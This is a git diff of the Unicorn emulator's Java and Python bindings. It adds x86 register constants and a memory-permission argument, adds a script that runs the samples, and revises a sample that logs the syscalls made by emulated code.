UC_X86_REG_YMM31 = 185; + public static final int UC_X86_REG_ZMM0 = 186; + public static final int UC_X86_REG_ZMM1 = 187; + public static final int UC_X86_REG_ZMM2 = 188; + public static final int UC_X86_REG_ZMM3 = 189; + public static final int UC_X86_REG_ZMM4 = 190; + public static final int UC_X86_REG_ZMM5 = 191; + public static final int UC_X86_REG_ZMM6 = 192; + public static final int UC_X86_REG_ZMM7 = 193; + public static final int UC_X86_REG_ZMM8 = 194; + public static final int UC_X86_REG_ZMM9 = 195; + public static final int UC_X86_REG_ZMM10 = 196; + public static final int UC_X86_REG_ZMM11 = 197; + public static final int UC_X86_REG_ZMM12 = 198; + public static final int UC_X86_REG_ZMM13 = 199; + public static final int UC_X86_REG_ZMM14 = 200; + public static final int UC_X86_REG_ZMM15 = 201; + public static final int UC_X86_REG_ZMM16 = 202; + public static final int UC_X86_REG_ZMM17 = 203; + public static final int UC_X86_REG_ZMM18 = 204; + public static final int UC_X86_REG_ZMM19 = 205; + public static final int UC_X86_REG_ZMM20 = 206; + public static final int UC_X86_REG_ZMM21 = 207; + public static final int UC_X86_REG_ZMM22 = 208; + public static final int UC_X86_REG_ZMM23 = 209; + public static final int UC_X86_REG_ZMM24 = 210; + public static final int UC_X86_REG_ZMM25 = 211; + public static final int UC_X86_REG_ZMM26 = 212; + public static final int UC_X86_REG_ZMM27 = 213; + public static final int UC_X86_REG_ZMM28 = 214; + public static final int UC_X86_REG_ZMM29 = 215; + public static final int UC_X86_REG_ZMM30 = 216; + public static final int UC_X86_REG_ZMM31 = 217; + public static final int UC_X86_REG_R8B = 218; + public static final int UC_X86_REG_R9B = 219; + public static final int UC_X86_REG_R10B = 220; + public static final int UC_X86_REG_R11B = 221; + public static final int UC_X86_REG_R12B = 222; + public static final int UC_X86_REG_R13B = 223; + public static final int UC_X86_REG_R14B = 224; + public static final int UC_X86_REG_R15B = 225; + public static final int UC_X86_REG_R8D = 226; + public static final int UC_X86_REG_R9D = 227; + public static final int UC_X86_REG_R10D = 228; + public static final int UC_X86_REG_R11D = 229; + public static final int UC_X86_REG_R12D = 230; + public static final int UC_X86_REG_R13D = 231; + public static final int UC_X86_REG_R14D = 232; + public static final int UC_X86_REG_R15D = 233; + public static final int UC_X86_REG_R8W = 234; + public static final int UC_X86_REG_R9W = 235; + public static final int UC_X86_REG_R10W = 236; + public static final int UC_X86_REG_R11W = 237; + public static final int UC_X86_REG_R12W = 238; + public static final int UC_X86_REG_R13W = 239; + public static final int UC_X86_REG_R14W = 240; + public static final int UC_X86_REG_R15W = 241; + public static final int UC_X86_REG_ENDING = 242; + +// X86 instructions + public static final int UC_X86_INS_INVALID = 0; public static final int UC_X86_INS_AAA = 1; public static final int UC_X86_INS_AAD = 2; @@ -1361,4 +1591,5 @@ public interface X86Instructions { public static final int UC_X86_INS_FDISI8087_NOP = 1336; public static final int UC_X86_INS_FENI8087_NOP = 1337; public static final int UC_X86_INS_ENDING = 1338; + } diff --git a/bindings/java/unicorn/X86Regs.java b/bindings/java/unicorn/X86Regs.java deleted file mode 100644 index 489b7562..00000000 --- a/bindings/java/unicorn/X86Regs.java +++ /dev/null @@ -1,268 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -public interface X86Regs { - public static final int UC_X86_REG_INVALID = 0; - public static final int UC_X86_REG_AH = 1; - public static final int UC_X86_REG_AL = 2; - public static final int UC_X86_REG_AX = 3; - public static final int UC_X86_REG_BH = 4; - public static final int UC_X86_REG_BL = 5; - public static final int UC_X86_REG_BP = 6; - public static final int UC_X86_REG_BPL = 7; - public static final int UC_X86_REG_BX = 8; - public static final int UC_X86_REG_CH = 9; - public static final int UC_X86_REG_CL = 10; - public static final int UC_X86_REG_CS = 11; - public static final int UC_X86_REG_CX = 12; - public static final int UC_X86_REG_DH = 13; - public static final int UC_X86_REG_DI = 14; - public static final int UC_X86_REG_DIL = 15; - public static final int UC_X86_REG_DL = 16; - public static final int UC_X86_REG_DS = 17; - public static final int UC_X86_REG_DX = 18; - public static final int UC_X86_REG_EAX = 19; - public static final int UC_X86_REG_EBP = 20; - public static final int UC_X86_REG_EBX = 21; - public static final int UC_X86_REG_ECX = 22; - public static final int UC_X86_REG_EDI = 23; - public static final int UC_X86_REG_EDX = 24; - public static final int UC_X86_REG_EFLAGS = 25; - public static final int UC_X86_REG_EIP = 26; - public static final int UC_X86_REG_EIZ = 27; - public static final int UC_X86_REG_ES = 28; - public static final int UC_X86_REG_ESI = 29; - public static final int UC_X86_REG_ESP = 30; - public static final int UC_X86_REG_FPSW = 31; - public static final int UC_X86_REG_FS = 32; - public static final int UC_X86_REG_GS = 33; - public static final int UC_X86_REG_IP = 34; - public static final int UC_X86_REG_RAX = 35; - public static final int UC_X86_REG_RBP = 36; - public static final int UC_X86_REG_RBX = 37; - public static final int UC_X86_REG_RCX = 38; - public static final int UC_X86_REG_RDI = 39; - public static final int UC_X86_REG_RDX = 40; - public static final int UC_X86_REG_RIP = 41; - public static final int UC_X86_REG_RIZ = 42; - public static final int UC_X86_REG_RSI = 43; - public static final int UC_X86_REG_RSP = 44; - public static final int UC_X86_REG_SI = 45; - public static final int UC_X86_REG_SIL = 46; - public static final int UC_X86_REG_SP = 47; - public static final int UC_X86_REG_SPL = 48; - public static final int UC_X86_REG_SS = 49; - public static final int UC_X86_REG_CR0 = 50; - public static final int UC_X86_REG_CR1 = 51; - public static final int UC_X86_REG_CR2 = 52; - public static final int UC_X86_REG_CR3 = 53; - public static final int UC_X86_REG_CR4 = 54; - public static final int UC_X86_REG_CR5 = 55; - public static final int UC_X86_REG_CR6 = 56; - public static final int UC_X86_REG_CR7 = 57; - public static final int UC_X86_REG_CR8 = 58; - public static final int UC_X86_REG_CR9 = 59; - public static final int UC_X86_REG_CR10 = 60; - public static final int UC_X86_REG_CR11 = 61; - public static final int UC_X86_REG_CR12 = 62; - public static final int UC_X86_REG_CR13 = 63; - public static final int UC_X86_REG_CR14 = 64; - public static final int UC_X86_REG_CR15 = 65; - public static final int UC_X86_REG_DR0 = 66; - public static final int UC_X86_REG_DR1 = 67; - public static final int UC_X86_REG_DR2 = 68; - public static final int UC_X86_REG_DR3 = 69; - public static final int UC_X86_REG_DR4 = 70; - public static final int UC_X86_REG_DR5 = 71; - public static final int UC_X86_REG_DR6 = 72; - public static final int UC_X86_REG_DR7 = 73; - public static final int UC_X86_REG_DR8 = 74; - public static final int UC_X86_REG_DR9 = 75; - public static final int UC_X86_REG_DR10 = 76; - public static final int UC_X86_REG_DR11 = 77; - public static final int UC_X86_REG_DR12 = 78; - public static final int UC_X86_REG_DR13 = 79; - public static final int UC_X86_REG_DR14 = 80; - public static final int UC_X86_REG_DR15 = 81; - public static final int UC_X86_REG_FP0 = 82; - public static final int UC_X86_REG_FP1 = 83; - public static final int UC_X86_REG_FP2 = 84; - public static final int UC_X86_REG_FP3 = 85; - public static final int UC_X86_REG_FP4 = 86; - public static final int UC_X86_REG_FP5 = 87; - public static final int UC_X86_REG_FP6 = 88; - public static final int UC_X86_REG_FP7 = 89; - public static final int UC_X86_REG_K0 = 90; - public static final int UC_X86_REG_K1 = 91; - public static final int UC_X86_REG_K2 = 92; - public static final int UC_X86_REG_K3 = 93; - public static final int UC_X86_REG_K4 = 94; - public static final int UC_X86_REG_K5 = 95; - public static final int UC_X86_REG_K6 = 96; - public static final int UC_X86_REG_K7 = 97; - public static final int UC_X86_REG_MM0 = 98; - public static final int UC_X86_REG_MM1 = 99; - public static final int UC_X86_REG_MM2 = 100; - public static final int UC_X86_REG_MM3 = 101; - public static final int UC_X86_REG_MM4 = 102; - public static final int UC_X86_REG_MM5 = 103; - public static final int UC_X86_REG_MM6 = 104; - public static final int UC_X86_REG_MM7 = 105; - public static final int UC_X86_REG_R8 = 106; - public static final int UC_X86_REG_R9 = 107; - public static final int UC_X86_REG_R10 = 108; - public static final int UC_X86_REG_R11 = 109; - public static final int UC_X86_REG_R12 = 110; - public static final int UC_X86_REG_R13 = 111; - public static final int UC_X86_REG_R14 = 112; - public static final int UC_X86_REG_R15 = 113; - public static final int UC_X86_REG_ST0 = 114; - public static final int UC_X86_REG_ST1 = 115; - public static final int UC_X86_REG_ST2 = 116; - public static final int UC_X86_REG_ST3 = 117; - public static final int UC_X86_REG_ST4 = 118; - public static final int UC_X86_REG_ST5 = 119; - public static final int UC_X86_REG_ST6 = 120; - public static final int UC_X86_REG_ST7 = 121; - public static final int UC_X86_REG_XMM0 = 122; - public static final int UC_X86_REG_XMM1 = 123; - public static final int UC_X86_REG_XMM2 = 124; - public static final int UC_X86_REG_XMM3 = 125; - public static final int UC_X86_REG_XMM4 = 126; - public static final int UC_X86_REG_XMM5 = 127; - public static final int UC_X86_REG_XMM6 = 128; - public static final int UC_X86_REG_XMM7 = 129; - public static final int UC_X86_REG_XMM8 = 130; - public static final int UC_X86_REG_XMM9 = 131; - public static final int UC_X86_REG_XMM10 = 132; - public static final int UC_X86_REG_XMM11 = 133; - public static final int UC_X86_REG_XMM12 = 134; - public static final int UC_X86_REG_XMM13 = 135; - public static final int UC_X86_REG_XMM14 = 136; - public static final int UC_X86_REG_XMM15 = 137; - public static final int UC_X86_REG_XMM16 = 138; - public static final int UC_X86_REG_XMM17 = 139; - public static final int UC_X86_REG_XMM18 = 140; - public static final int UC_X86_REG_XMM19 = 141; - public static final int UC_X86_REG_XMM20 = 142; - public static final int UC_X86_REG_XMM21 = 143; - public static final int UC_X86_REG_XMM22 = 144; - public static final int UC_X86_REG_XMM23 = 145; - public static final int UC_X86_REG_XMM24 = 146; - public static final int UC_X86_REG_XMM25 = 147; - public static final int UC_X86_REG_XMM26 = 148; - public static final int UC_X86_REG_XMM27 = 149; - public static final int UC_X86_REG_XMM28 = 150; - public static final int UC_X86_REG_XMM29 = 151; - public static final int UC_X86_REG_XMM30 = 152; - public static final int UC_X86_REG_XMM31 = 153; - public static final int UC_X86_REG_YMM0 = 154; - public static final int UC_X86_REG_YMM1 = 155; - public static final int UC_X86_REG_YMM2 = 156; - public static final int UC_X86_REG_YMM3 = 157; - public static final int UC_X86_REG_YMM4 = 158; - public static final int UC_X86_REG_YMM5 = 159; - public static final int UC_X86_REG_YMM6 = 160; - public static final int UC_X86_REG_YMM7 = 161; - public static final int UC_X86_REG_YMM8 = 162; - public static final int UC_X86_REG_YMM9 = 163; - public static final int UC_X86_REG_YMM10 = 164; - public static final int UC_X86_REG_YMM11 = 165; - public static final int UC_X86_REG_YMM12 = 166; - public static final int UC_X86_REG_YMM13 = 167; - public static final int UC_X86_REG_YMM14 = 168; - public static final int UC_X86_REG_YMM15 = 169; - public static final int UC_X86_REG_YMM16 = 170; - public static final int UC_X86_REG_YMM17 = 171; - public static final int UC_X86_REG_YMM18 = 172; - public static final int UC_X86_REG_YMM19 = 173; - public static final int UC_X86_REG_YMM20 = 174; - public static final int UC_X86_REG_YMM21 = 175; - public static final int UC_X86_REG_YMM22 = 176; - public static final int UC_X86_REG_YMM23 = 177; - public static final int UC_X86_REG_YMM24 = 178; - public static final int UC_X86_REG_YMM25 = 179; - public static final int UC_X86_REG_YMM26 = 180; - public static final int UC_X86_REG_YMM27 = 181; - public static final int UC_X86_REG_YMM28 = 182; - public static final int UC_X86_REG_YMM29 = 183; - public static final int UC_X86_REG_YMM30 = 184; - public static final int UC_X86_REG_YMM31 = 185; - public static final int UC_X86_REG_ZMM0 = 186; - public static final int UC_X86_REG_ZMM1 = 187; - public static final int UC_X86_REG_ZMM2 = 188; - public static final int UC_X86_REG_ZMM3 = 189; - public static final int UC_X86_REG_ZMM4 = 190; - public static final int UC_X86_REG_ZMM5 = 191; - public static final int UC_X86_REG_ZMM6 = 192; - public static final int UC_X86_REG_ZMM7 = 193; - public static final int UC_X86_REG_ZMM8 = 194; - public static final int UC_X86_REG_ZMM9 = 195; - public static final int UC_X86_REG_ZMM10 = 196; - public static final int UC_X86_REG_ZMM11 = 197; - public static final int UC_X86_REG_ZMM12 = 198; - public static final int UC_X86_REG_ZMM13 = 199; - public static final int UC_X86_REG_ZMM14 = 200; - public static final int UC_X86_REG_ZMM15 = 201; - public static final int UC_X86_REG_ZMM16 = 202; - public static final int UC_X86_REG_ZMM17 = 203; - public static final int UC_X86_REG_ZMM18 = 204; - public static final int UC_X86_REG_ZMM19 = 205; - public static final int UC_X86_REG_ZMM20 = 206; - public static final int UC_X86_REG_ZMM21 = 207; - public static final int UC_X86_REG_ZMM22 = 208; - public static final int UC_X86_REG_ZMM23 = 209; - public static final int UC_X86_REG_ZMM24 = 210; - public static final int UC_X86_REG_ZMM25 = 211; - public static final int UC_X86_REG_ZMM26 = 212; - public static final int UC_X86_REG_ZMM27 = 213; - public static final int UC_X86_REG_ZMM28 = 214; - public static final int UC_X86_REG_ZMM29 = 215; - public static final int UC_X86_REG_ZMM30 = 216; - public static final int UC_X86_REG_ZMM31 = 217; - public static final int UC_X86_REG_R8B = 218; - public static final int UC_X86_REG_R9B = 219; - public static final int UC_X86_REG_R10B = 220; - public static final int UC_X86_REG_R11B = 221; - public static final int UC_X86_REG_R12B = 222; - public static final int UC_X86_REG_R13B = 223; - public static final int UC_X86_REG_R14B = 224; - public static final int UC_X86_REG_R15B = 225; - public static final int UC_X86_REG_R8D = 226; - public static final int UC_X86_REG_R9D = 227; - public static final int UC_X86_REG_R10D = 228; - public static final int UC_X86_REG_R11D = 229; - public static final int UC_X86_REG_R12D = 230; - public static final int UC_X86_REG_R13D = 231; - public static final int UC_X86_REG_R14D = 232; - public static final int UC_X86_REG_R15D = 233; - public static final int UC_X86_REG_R8W = 234; - public static final int UC_X86_REG_R9W = 235; - public static final int UC_X86_REG_R10W = 236; - public static final int UC_X86_REG_R11W = 237; - public static final int UC_X86_REG_R12W = 238; - public static final int UC_X86_REG_R13W = 239; - public static final int UC_X86_REG_R14W = 240; - public static final int UC_X86_REG_R15W = 241; - public static final int UC_X86_REG_ENDING = 242; -} diff --git a/bindings/java/unicorn_Unicorn.c b/bindings/java/unicorn_Unicorn.c index aa141bb2..cd0428f9 100644 --- a/bindings/java/unicorn_Unicorn.c +++ b/bindings/java/unicorn_Unicorn.c @@ -502,13 +502,13 @@ JNIEXPORT void JNICALL Java_unicorn_Unicorn_hook_1del /* * Class: unicorn_Unicorn * Method: mem_map - * Signature: (JJ)V + * Signature: (JJI)V */ JNIEXPORT void JNICALL Java_unicorn_Unicorn_mem_1map - (JNIEnv *env, jobject self, jlong address, jlong size) { + (JNIEnv *env, jobject self, jlong address, jlong size, jint perms) { uch handle = getHandle(env, self); - uc_err err = uc_mem_map(handle, (uint64_t)address, (size_t)size); + uc_err err = uc_mem_map(handle, (uint64_t)address, (size_t)size, (uint32_t)perms); if (err != UC_ERR_OK) { throwException(env, err); } diff --git a/bindings/python/sample_all.sh b/bindings/python/sample_all.sh new file mode 100755 index 00000000..f4e7a55c --- /dev/null +++ b/bindings/python/sample_all.sh @@ -0,0 +1,15 @@ +#!/bin/sh + +./sample_x86.py +echo "==========================" +./shellcode.py +echo "==========================" +./sample_arm.py +echo "==========================" +./sample_arm64.py +echo "==========================" +./sample_mips.py +echo "==========================" +./sample_sparc.py +echo "==========================" +./sample_m68k.py diff --git a/bindings/python/sample_network_auditing.py b/bindings/python/sample_network_auditing.py index 127845f3..66e575ce 100755 --- a/bindings/python/sample_network_auditing.py +++ b/bindings/python/sample_network_auditing.py @@ -10,8 +10,7 @@ import uuid import random SIZE_REG = 4 -SOCKETCALL_MAX_ARGS = 6 -FILENAME_MAX_LEN = 128 +SOCKETCALL_MAX_ARGS = 3 SOCKET_TYPES = { 1: "SOCK_STREAM", @@ -133,15 +132,17 @@ def bin_to_ipv4(ip): (ip & 0xff00) >> 8, (ip & 0xff)) -def bytearray_to_string(ba): +def read_string(uc, addr): ret = "" - i = 0 - while i < len(ba) and ba[i] != 0x0: - ret += chr(ba[i]) + c = uc.mem_read(addr, 1)[0] + read_bytes = 1 + + while c != 0x0: + ret += chr(c) + c = uc.mem_read(addr+read_bytes, 1)[0] + read_bytes += 1 - i += 1 - return ret def parse_sock_address(sock_addr): @@ -189,9 +190,9 @@ def hook_intr(uc, intno, user_data): buf = ecx count = edx - dummy_content = str(uuid.uuid1()) + dummy_content = str(uuid.uuid1())[:32] if len(dummy_content) > count: - dummy_content = dummy_content[:count] + dummy_content = dummy_content[:count] uc.mem_write(buf, dummy_content) @@ -206,7 +207,7 @@ def hook_intr(uc, intno, user_data): content = uc.mem_read(buf, count) - msg = "write data=%s count=%d to fd(%d)" % (bytearray_to_string(content), count, fd) + msg = "write data=%s count=%d to fd(%d)" % (content, count, fd) print(">>> %s" % msg) fd_chains.add_log(fd, msg) @@ -214,21 +215,21 @@ def hook_intr(uc, intno, user_data): filename_addr = ebx flags = ecx mode = edx - filename = uc.mem_read(filename_addr, FILENAME_MAX_LEN) + filename = read_string(uc, filename_addr) dummy_fd = id_gen.next() uc.reg_write(UC_X86_REG_EAX, dummy_fd) - msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (bytearray_to_string(filename), flags, mode, dummy_fd) + msg = "open file (filename=%s flags=%d mode=%d) with fd(%d)" % (filename, flags, mode, dummy_fd) fd_chains.create_chain(dummy_fd) fd_chains.add_log(dummy_fd, msg) print(">>> %s" % msg) elif eax == 11: # sys_execv # print(">>> ebx=0x%x, ecx=0x%x, edx=0x%x" % (ebx, ecx, edx)) - filename = uc.mem_read(ebx, FILENAME_MAX_LEN) + filename = read_string(uc, ebx) - print(">>> SYS_EXECV filename=%s" % bytearray_to_string(filename)) + print(">>> SYS_EXECV filename=%s" % filename) elif eax == 63: # sys_dup2 fd_chains.link_fd(ecx, ebx) print(">>> SYS_DUP2 oldfd=%d newfd=%d" % (ebx, ecx)) @@ -237,8 +238,19 @@ def hook_intr(uc, intno, user_data): call = uc.reg_read(UC_X86_REG_EBX) args = uc.reg_read(UC_X86_REG_ECX) - buf = uc.mem_read(args, SOCKETCALL_MAX_ARGS*SIZE_REG) - args = struct.unpack("<" + "I"*SOCKETCALL_MAX_ARGS, buf) + SOCKETCALL_NUM_ARGS = { + 1: 3, # sys_socket + 2: 3, # sys_bind + 3: 3, # sys_connect + 4: 2, # sys_listen + 5: 3, # sys_accept + 9: 4, # sys_send + 11: 4, # sys_receive + 13: 2 # sys_shutdown + } + + buf = uc.mem_read(args, SOCKETCALL_NUM_ARGS[call]*SIZE_REG) + args = struct.unpack("<" + "I"*SOCKETCALL_NUM_ARGS[call], buf) # int sys_socketcall(int call, unsigned long *args) if call == 1: # sys_socket diff --git a/bindings/python/unicorn/__init__.py b/bindings/python/unicorn/__init__.py index b0361881..8c137768 100644 --- a/bindings/python/unicorn/__init__.py +++ b/bindings/python/unicorn/__init__.py @@ -1,464 +1,4 @@ # Unicorn Python bindings, by Nguyen Anh Quynnh -import sys -_python2 = sys.version_info[0] < 3 -if _python2: - range = xrange from . import arm_const, arm64_const, mips_const, sparc_const, m68k_const, x86_const - -__all__ = [ - 'Uc', - - 'uc_version', - 'uc_arch_supported', - 'version_bind', - 'debug', - - 'UC_API_MAJOR', - 'UC_API_MINOR', - - 'UC_ARCH_ARM', - 'UC_ARCH_ARM64', - 'UC_ARCH_MIPS', - 'UC_ARCH_X86', - 'UC_ARCH_SPARC', - 'UC_ARCH_M68K', - 'UC_ARCH_ALL', - - 'UC_MODE_LITTLE_ENDIAN', - 'UC_MODE_BIG_ENDIAN', - 'UC_MODE_16', - 'UC_MODE_32', - 'UC_MODE_64', - 'UC_MODE_ARM', - 'UC_MODE_THUMB', - 'UC_MODE_MCLASS', - 'UC_MODE_MICRO', - 'UC_MODE_MIPS3', - 'UC_MODE_MIPS32R6', - 'UC_MODE_MIPSGP64', - 'UC_MODE_V8', - 'UC_MODE_V9', - 'UC_MODE_MIPS32', - 'UC_MODE_MIPS64', - - 'UC_ERR_OK', - 'UC_ERR_OOM', - 'UC_ERR_ARCH', - 'UC_ERR_HANDLE', - 'UC_ERR_UCH', - 'UC_ERR_MODE', - 'UC_ERR_VERSION', - 'UC_ERR_MEM_READ', - 'UC_ERR_MEM_WRITE', - 'UC_ERR_CODE_INVALID', - 'UC_ERR_HOOK', - 'UC_ERR_INSN_INVALID', - 'UC_ERR_MAP', - - 'UC_HOOK_INTR', - 'UC_HOOK_INSN', - 'UC_HOOK_CODE', - 'UC_HOOK_BLOCK', - 'UC_HOOK_MEM_INVALID', - 'UC_HOOK_MEM_READ', - 'UC_HOOK_MEM_WRITE', - 'UC_HOOK_MEM_READ_WRITE', - - 'UC_MEM_READ', - 'UC_MEM_WRITE', - 'UC_MEM_READ_WRITE', - - 'UC_SECOND_SCALE', - 'UC_MILISECOND_SCALE', - - 'UcError', -] - -# Unicorn C interface - -# API version -UC_API_MAJOR = 0 -UC_API_MINOR = 9 - -# Architectures -UC_ARCH_ARM = 1 -UC_ARCH_ARM64 = 2 -UC_ARCH_MIPS = 3 -UC_ARCH_X86 = 4 -UC_ARCH_PPC = 5 -UC_ARCH_SPARC = 6 -UC_ARCH_M68K = 7 -UC_ARCH_MAX = 8 -UC_ARCH_ALL = 0xFFFF - -# Hardware modes -UC_MODE_LITTLE_ENDIAN = 0 # little-endian mode (default mode) -UC_MODE_ARM = 0 # ARM mode -UC_MODE_16 = (1 << 1) # 16-bit mode (for X86) -UC_MODE_32 = (1 << 2) # 32-bit mode (for X86) -UC_MODE_64 = (1 << 3) # 64-bit mode (for X86, PPC) -UC_MODE_THUMB = (1 << 4) # ARM's Thumb mode, including Thumb-2 -UC_MODE_MCLASS = (1 << 5) # ARM's Cortex-M series -UC_MODE_V8 = (1 << 6) # ARMv8 A32 encodings for ARM -UC_MODE_MICRO = (1 << 4) # MicroMips mode (MIPS architecture) -UC_MODE_MIPS3 = (1 << 5) # Mips III ISA -UC_MODE_MIPS32R6 = (1 << 6) # Mips32r6 ISA -UC_MODE_MIPSGP64 = (1 << 7) # General Purpose Registers are 64-bit wide (MIPS arch) -UC_MODE_V9 = (1 << 4) # Sparc V9 mode (for Sparc) -UC_MODE_BIG_ENDIAN = (1 << 31) # big-endian mode -UC_MODE_MIPS32 = UC_MODE_32 # Mips32 ISA -UC_MODE_MIPS64 = UC_MODE_64 # Mips64 ISA - - -# Unicorn error type -UC_ERR_OK = 0 # No error: everything was fine -UC_ERR_OOM = 1 # Out-Of-Memory error: uc_open(), uc_emulate() -UC_ERR_ARCH = 2 # Unsupported architecture: uc_open() -UC_ERR_HANDLE = 3 # Invalid handle -UC_ERR_UCH = 4 # Invalid handle (uch) -UC_ERR_MODE = 5 # Invalid/unsupported mode: uc_open() -UC_ERR_VERSION = 6 # Unsupported version (bindings) -UC_ERR_MEM_READ = 7 # Quit emulation due to invalid memory READ: uc_emu_start() -UC_ERR_MEM_WRITE = 8 # Quit emulation due to invalid memory WRITE: uc_emu_start() -UC_ERR_CODE_INVALID = 9 # Quit emulation due to invalid code address: uc_emu_start() -UC_ERR_HOOK = 10 # Invalid hook type: uc_hook_add() -UC_ERR_INSN_INVALID = 11 # Invalid instruction -UC_ERR_MAP = 12 # Invalid memory mapping - - -# All type of hooks for uc_hook_add() API. -UC_HOOK_INTR = 32 # Hook all interrupt events -UC_HOOK_INSN = 33 # Hook a particular instruction -UC_HOOK_CODE = 34 # Hook a range of code -UC_HOOK_BLOCK = 35 # Hook basic blocks -UC_HOOK_MEM_INVALID = 36 # Hook for all invalid memory access events -UC_HOOK_MEM_READ = 37 # Hook all memory read events. -UC_HOOK_MEM_WRITE = 38 # Hook all memory write events. -UC_HOOK_MEM_READ_WRITE = 39 # Hook all memory accesses (either READ or WRITE). - - -# All type of memory accesses for UC_HOOK_MEM_* -UC_MEM_READ = 16 # Memory is read from -UC_MEM_WRITE = 17 # Memory is written to -UC_MEM_READ_WRITE = 18 # Memory is accessed (either READ or WRITE) - - -# Time scales to calculate timeout on microsecond unit -# This is for Uc.emu_start() -UC_SECOND_SCALE = 1000000 # 1 second = 1000,000 microseconds -UC_MILISECOND_SCALE = 1000 # 1 milisecond = 1000 nanoseconds - - -import ctypes, ctypes.util, sys -from os.path import split, join, dirname -import distutils.sysconfig - - -import inspect -if not hasattr(sys.modules[__name__], '__file__'): - __file__ = inspect.getfile(inspect.currentframe()) - -_lib_path = split(__file__)[0] -_all_libs = ['unicorn.dll', 'libunicorn.so', 'libunicorn.dylib'] -_found = False - -for _lib in _all_libs: - try: - _lib_file = join(_lib_path, _lib) - # print "Trying to load:", _lib_file - _uc = ctypes.cdll.LoadLibrary(_lib_file) - _found = True - break - except OSError: - pass - -if _found == False: - # try loading from default paths - for _lib in _all_libs: - try: - _uc = ctypes.cdll.LoadLibrary(_lib) - _found = True - break - except OSError: - pass - -if _found == False: - # last try: loading from python lib directory - _lib_path = distutils.sysconfig.get_python_lib() - for _lib in _all_libs: - try: - _lib_file = join(_lib_path, 'unicorn', _lib) - # print "Trying to load:", _lib_file - _uc = ctypes.cdll.LoadLibrary(_lib_file) - _found = True - break - except OSError: - pass - if _found == False: - raise ImportError("ERROR: fail to load the dynamic library.") - - -# setup all the function prototype -def _setup_prototype(lib, fname, restype, *argtypes): - getattr(lib, fname).restype = restype - getattr(lib, fname).argtypes = argtypes - -_setup_prototype(_uc, "uc_version", ctypes.c_int, ctypes.POINTER(ctypes.c_int), ctypes.POINTER(ctypes.c_int)) -_setup_prototype(_uc, "uc_arch_supported", ctypes.c_bool, ctypes.c_int) -_setup_prototype(_uc, "uc_open", ctypes.c_int, ctypes.c_uint, ctypes.c_uint, ctypes.POINTER(ctypes.c_size_t)) -_setup_prototype(_uc, "uc_close", ctypes.c_int, ctypes.POINTER(ctypes.c_size_t)) -_setup_prototype(_uc, "uc_strerror", ctypes.c_char_p, ctypes.c_int) -_setup_prototype(_uc, "uc_errno", ctypes.c_int, ctypes.c_size_t) -_setup_prototype(_uc, "uc_reg_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p) -_setup_prototype(_uc, "uc_reg_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_int, ctypes.c_void_p) -_setup_prototype(_uc, "uc_mem_read", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) -_setup_prototype(_uc, "uc_mem_write", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.POINTER(ctypes.c_char), ctypes.c_size_t) -_setup_prototype(_uc, "uc_emu_start", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_uint64, ctypes.c_size_t) -_setup_prototype(_uc, "uc_emu_stop", ctypes.c_int, ctypes.c_size_t) -_setup_prototype(_uc, "uc_hook_del", ctypes.c_int, ctypes.c_size_t, ctypes.POINTER(ctypes.c_size_t)) -_setup_prototype(_uc, "uc_mem_map", ctypes.c_int, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t) - -# uc_hook_add is special due to variable number of arguments -_uc.uc_hook_add = getattr(_uc, "uc_hook_add") -_uc.uc_hook_add.restype = ctypes.c_int - -UC_HOOK_CODE_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint64, ctypes.c_size_t, ctypes.c_void_p) -UC_HOOK_MEM_INVALID_CB = ctypes.CFUNCTYPE(ctypes.c_bool, ctypes.c_size_t, ctypes.c_int, \ - ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p) -UC_HOOK_MEM_ACCESS_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_int, \ - ctypes.c_uint64, ctypes.c_int, ctypes.c_int64, ctypes.c_void_p) -UC_HOOK_INTR_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \ - ctypes.c_void_p) -UC_HOOK_INSN_IN_CB = ctypes.CFUNCTYPE(ctypes.c_uint32, ctypes.c_size_t, ctypes.c_uint32, \ - ctypes.c_int, ctypes.c_void_p) -UC_HOOK_INSN_OUT_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_uint32, \ - ctypes.c_int, ctypes.c_uint32, ctypes.c_void_p) -UC_HOOK_INSN_SYSCALL_CB = ctypes.CFUNCTYPE(None, ctypes.c_size_t, ctypes.c_void_p) - - -# access to error code via @errno of UcError -class UcError(Exception): - def __init__(self, errno): - self.errno = errno - - def __str__(self): - return _uc.uc_strerror(self.errno) - - -# return the core's version -def uc_version(): - major = ctypes.c_int() - minor = ctypes.c_int() - combined = _uc.uc_version(ctypes.byref(major), ctypes.byref(minor)) - return (major.value, minor.value, combined) - - -# return the binding's version -def version_bind(): - return (UC_API_MAJOR, UC_API_MINOR, (UC_API_MAJOR << 8) + UC_API_MINOR) - - -# check to see if this engine supports a particular arch -def uc_arch_supported(query): - return _uc.uc_arch_supported(query) - - -class Uc(object): - def __init__(self, arch, mode): - # verify version compatibility with the core before doing anything - (major, minor, _combined) = uc_version() - if major != UC_API_MAJOR or minor != UC_API_MINOR: - self._uch = None - # our binding version is different from the core's API version - raise UcError(UC_ERR_VERSION) - - self._arch, self._mode = arch, mode - self._uch = ctypes.c_size_t() - status = _uc.uc_open(arch, mode, ctypes.byref(self._uch)) - if status != UC_ERR_OK: - self._uch = None - raise UcError(status) - # internal mapping table to save callback & userdata - self._callbacks = {} - 